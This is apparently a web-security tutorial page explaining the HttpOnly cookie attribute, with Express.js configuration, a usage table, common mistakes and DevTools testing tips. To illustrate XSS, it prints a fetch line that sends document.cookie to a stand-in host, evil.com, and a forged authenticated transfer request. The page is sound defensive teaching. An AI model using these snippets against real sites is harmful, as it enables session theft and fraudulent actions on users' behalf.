- Home
- Cookie Attributes
- HttpOnly Cookie Attribute: XSS Protection
Cookie Attribute
HttpOnly Cookie Attribute: XSS Protection
Learn how the HttpOnly cookie attribute protects against XSS attacks by preventing JavaScript access to sensitive cookies.
TL;DR: HttpOnly prevents JavaScript from accessing cookies. Always use it for session cookies to limit XSS damage.
What is HttpOnly?
HttpOnly makes cookies invisible to JavaScript. The browser still sends them with requests, but document.cookie can’t see them.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
```text
## Why HttpOnly Matters
Without HttpOnly, XSS attacks can steal session cookies:
```javascript
// XSS attack stealing cookies
fetch('https://evil.com/steal?cookie=' + document.cookie)
With HttpOnly, the session cookie isn’t in document.cookie, so it can’t be stolen this way.
With vs Without HttpOnly
// Server sets two cookies:
// Set-Cookie: session=secret; HttpOnly
// Set-Cookie: theme=dark
console.log(document.cookie)
// Output: "theme=dark"
// session cookie is hidden
```text
## Implementation
### Express.js
```javascript
// Session cookie - always HttpOnly
res.cookie('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
})
// CSRF token - needs JS access, so NOT HttpOnly
res.cookie('csrf', csrfToken, {
httpOnly: false, // JS needs to read this
secure: true,
sameSite: 'strict'
})
With express-session
app.use(
session({
cookie: {
httpOnly: true, // Default is true
secure: true,
sameSite: 'lax'
}
})
)
```text
## What HttpOnly Does NOT Do
HttpOnly limits XSS damage but doesn't prevent:
- **XSS attacks** - Attacker can still run code
- **Session riding** - Attacker can make requests as user
- **Cookie theft via other means** - Network sniffing (use Secure)
```javascript
// Even with HttpOnly, XSS can still do damage:
// Make authenticated requests
fetch('/api/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'attacker', amount: 1000 }),
credentials: 'include' // Cookies sent automatically
})
When to Use HttpOnly
| Cookie Type | HttpOnly? |
|---|---|
| Session ID | ✅ Yes |
| Auth token | ✅ Yes |
| CSRF token | ❌ No (JS needs it) |
| User preferences | ❌ No (if JS reads) |
| Analytics ID | Depends |
Common Mistakes
// ❌ Wrong: Session cookie without HttpOnly
res.cookie('session', token, { secure: true })
// ✅ Correct: Always HttpOnly for sessions
res.cookie('session', token, { httpOnly: true, secure: true })
```text
```javascript
// ❌ Wrong: Storing sensitive data in non-HttpOnly cookie
res.cookie('user', JSON.stringify(userData)) // XSS can read this
// ✅ Correct: Keep sensitive data server-side
// Only store session ID in cookie, fetch user data via API
Defense in Depth
HttpOnly is one layer. Combine with:
- Content Security Policy - Prevent inline scripts
- Input validation - Block XSS at source
- Output encoding - Escape user content
- SameSite - Prevent CSRF
- Secure - HTTPS only
Related
- SameSite cookie - CSRF protection
- Secure cookie - HTTPS only
- Set-Cookie header - Setting cookies
- Content-Security-Policy - XSS prevention
Testing HttpOnly Cookies in DevTools
You can verify that a cookie has the HttpOnly attribute using browser DevTools. In Chrome or Firefox, open DevTools, go to the Application tab (Chrome) or Storage tab (Firefox), and select Cookies under the domain. The HttpOnly column shows a checkmark for cookies with the attribute set.
To confirm that HttpOnly cookies are invisible to JavaScript, open the Console tab and type document.cookie. HttpOnly cookies will not appear in the output, even though they are being sent with every request to the server. You can verify they are being sent by checking the Network tab — look at the request headers for any request to your domain and you will see the Cookie header includes the HttpOnly cookie.
Using curl -I https://your-site.com/login and inspecting the Set-Cookie response headers is another quick way to audit cookie attributes in CI/CD pipelines or automated security checks. Look for HttpOnly in the cookie attributes. If it is missing from session or authentication cookies, that is a security finding that should be addressed before deployment.
Frequently Asked Questions
What is the HttpOnly cookie attribute?
HttpOnly prevents JavaScript from accessing the cookie via document.cookie. The cookie is still sent with HTTP requests but can't be read or modified by scripts.
Does HttpOnly prevent XSS attacks?
HttpOnly mitigates XSS impact by preventing cookie theft, but doesn't prevent XSS itself. Attackers can still perform actions as the user; they just can't steal the session.
Should all cookies be HttpOnly?
Session and authentication cookies should always be HttpOnly. Cookies that JavaScript needs to read (like CSRF tokens or preferences) cannot be HttpOnly.
Can HttpOnly cookies be modified?
Not by JavaScript. They can only be set and modified by the server via Set-Cookie headers.